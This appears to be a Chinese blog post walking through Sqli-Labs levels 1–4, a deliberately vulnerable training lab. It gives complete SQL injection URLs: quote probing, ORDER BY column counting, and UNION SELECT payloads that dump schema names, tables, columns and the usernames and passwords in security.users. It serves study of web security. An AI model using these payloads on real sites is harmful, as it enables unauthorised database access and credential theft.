Sqli-Labs less1-4

首先,记录一下基础知识,可能不全:

几个常用的函数:

1.version()   --Mysql版本

2.user()  --数据库用户名

3.database()  --数据库名

4.@@datadir  --数据库安装路径

5.@@version_compile_os  --操作系统的版本

常用的语句(重要):

1.查库:select schema_name from information_schema.schemata

2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)

3.查列:select column_name from information_schema.columns where table_name='users'

4.查字段:select username,password from security.users

字符串连接函数:

1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

2.concat(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字符。

注释符:#  --+  --空

less-1

开始之前,为了方便笔记,我在网页源码的数据库部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符

输入?id=1',出现报错:http://192.168.5.100/sqli-labs/Less-1/?id=1'

 

输入?id=1,正常,说明存在字符型注入。http://192.168.5.100/sqli-labs/Less-1/?id=1

接下来爆库,爆表,爆列,查询;

用order by语句去猜列数,以下用二分法查到列数为三:http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 8 --+

 http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 4 --+

 http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 3 --+

 

用union select 联合查询去回显数据:

这里正确的查询是图2,如果按照图1查询,因为limit0.1的限制,只能输出1个,所以输入id=-1或者0让他只能查询到第二行数据才可以输出。

 http://192.168.5.100/sqli-labs/Less-1/?id=1' union select 1,2,3 %23

 http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,3 %23

 上面的操作结束以后,判断了回显位置,后面就可以利用这两列回显想要的数据

查库名:这里是3作为回显位置,语句意思是从数据库中查询数据库的名字,group concat是合并成一行输出

http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23

查表名:我们要用的数据库是security 最后查询得到数据库的表信息。注:这里推荐使用图二的16进制,不用考虑单引号的问题,得到的数据是相同的

http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23

 

查询users表的字段:(这里不知道数据库只有最后三个字段,为啥回显出这么多字段,暂且留一个疑问)

查询字段中的内容:这里推荐使用图三中的语句查询,可以一次性查询多个字段内容,并且中间有分隔符

http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

 

 

 less-2


通过输入?id=1,显示正确,可以知道为数字型注入,不用考虑闭合sql语句,比第一关还简单:

以上步骤相同:

最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-2/?id=0 union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

 less-3

 这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的

通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。

所以以上步骤也是相同:

最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-3/?id=0') union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

less-4

同理,我们可以根据输出的sql语句或者观察源代码或者测试得出格式为(”“),所以需要闭合的语句变成了”)

最后得到用户名和密码:http://192.168.5.100/sqli-labs/Less-4/?id=0") union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

以上就是1-4关,总结:

基本步骤:

1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入

2. http://127.0.0.1/sqli/Less-4/?id=1”) order by 3--+查看有多少列

3. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库

4. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表

5. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息

6. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。

第一关:id=’1‘

第二关:id=1

第三关:id=(’1‘)

第四关:id= (“1”)

只是需要闭合的sql语句不同,其他相同。

原文地址:https://www.cnblogs.com/hzk001/p/12203394.html